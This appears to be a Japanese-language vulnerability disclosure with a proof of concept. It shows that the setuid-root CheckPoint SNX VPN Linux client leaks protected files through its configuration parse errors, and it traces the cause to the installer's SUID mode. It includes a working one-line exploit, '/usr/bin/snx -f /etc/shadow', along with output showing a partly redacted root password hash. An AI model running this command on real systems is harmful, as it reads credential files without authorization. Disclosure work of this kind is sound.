
CheckPoint SNX VPN Linux Client を介した特権ファイル読み取りの概念実証 (PoC)。
悪用するには、-f パラメータを使用して任意のファイルを SNX 設定として読み込むだけです。ファイルが有効な SNX 設定でない場合、エラーがスローされ構文エラーが表示され、文字列終端文字が見つかるまで (例: etc/shadow) ファイルの内容が漏えいします:
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
原因は、実行ファイル /usr/bin/snx がインストール時に設定された SETUID ビットを持ち、スーパーユーザーとして実行されることです。
特に、.sh インストールファイル (CheckPointVPN_SNX_Linux_800007075.sh) で定義されている変数 COMMAND_TO_RUN:
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
パラメータ --mode=u=rxs の末尾の s が SUID ビットを設定し、その結果、実行可能バイナリが root として実行されます。